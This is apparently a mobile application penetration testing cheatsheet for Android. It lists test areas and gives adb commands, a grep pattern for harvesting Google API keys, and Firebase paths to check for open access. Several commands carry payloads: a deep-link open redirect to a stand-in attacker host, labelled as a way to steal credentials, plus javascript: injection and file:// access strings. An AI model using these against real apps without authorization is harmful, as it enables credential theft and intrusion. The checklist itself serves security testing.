This checklist is designed as a practical cheatsheet for mobile application security testing.
It provides a structured way to quickly review common attack surfaces, identify weak points, and validate security controls in mobile apps.
The goal is efficiency: focus on what matters, minimize noise, and cover the techniques that consistently reveal real issues.
- folders
/assets
and/res /raw
- GREP for sensitive keys using this pattern
grep -r 'AIza[0-9A-Za-z\-\_]{35}' .
- search sensitive .txt files
- Inspect
Manifest.xml
file /res/values/strings.xml
API keys@xml/network_security_config.xml
analysis- Test deep links in
Manifest.xml
- verify firebase access to
/.json
,/Users.json
,/Logs.json
- Check Activities/Services/Intents with
adb
tool - Grep sensitive Keywords in decompiled jar files and apk’s folder
- Sensitive information disclosed in application error messege
- Binary reverse engineering
- Collect URLs and Endpoints from apk
- Sensitive information disclosed in storage of the mobile device
- Sensitive information found in logs
- Sensitive information found in cache
- Sensitive information found in installed application folder
- Sensitive information stored in shared preference files
- Client/Server Side attacks
- Check for SQL injection
- XML injection
- XSS injection
- App level DOS (long inputs, json dos)
- Broken Authentication & Authorization
- Session behavior after pass reset
- Expired Token can be reused
- Oauth Flow
- 2FA bypass
- Cleartext Transmission
- Auth bypass using response manipulation
- Broken Access Control
- SSRFs
- Privilege escalations
- IDORs
- Unauthorized/Sensitive API calls
- CAPTCHA implementation flaws & bypass
- Check for all HTTP methods (PUT, DELETE etc. – use Burp Intruder using HTTP verb tampering)
- Other user’s sensitive details enumeration
- Malicious file upload
- Server side flaws (IIS, APACHE, TOMCAT etc.)
Keywords:
|
ADB command to trigger Schemes:
am start -W -a android.intent.action.VIEW -d "custom://intent"
Open redirection + steal credentials
adb shell am start -a android.intent.action.VIEW custom://deeplink?parameter=https://attacker.com.br --ez authentication_header true
Adb to trigger components:
Activity:
adb shell am start -n "com.peirr.test/com.peirr.test.MyActivity" --es name "John" --ei age 30
Broadcast Receiver:
adb shell am broadcast -n "com.peirr.test/com.peirr.test.MyReceiver" --es name "John" --ei age 30
Services:
adb shell am startservice -n "com.peirr.test/com.peirr.test.MyService" --es name "John" --ei age 30
XSS with available parameters:
adb shell am start -n com.company.apk/com.company.mseg.activity.CommonActivity -e url "javascript:alert(1)"
Schemas allowed in Activity:
To reproduce local file access use:
adb shell am start -n com.company.apk/com.company.android.CommonActivity -d "file:///storage/emulated/0/Download/document-blank.pdf"
To reproduce javascript injection:
adb shell am start -n com.company.apk/com.company.android.CommonActivity -d "javascript://example.com%0A alert(1);"
To reproduce open redirect:
adb shell am start -n com.company.apk/com.company.android.CommonActivity -d "http://attacker.com.br"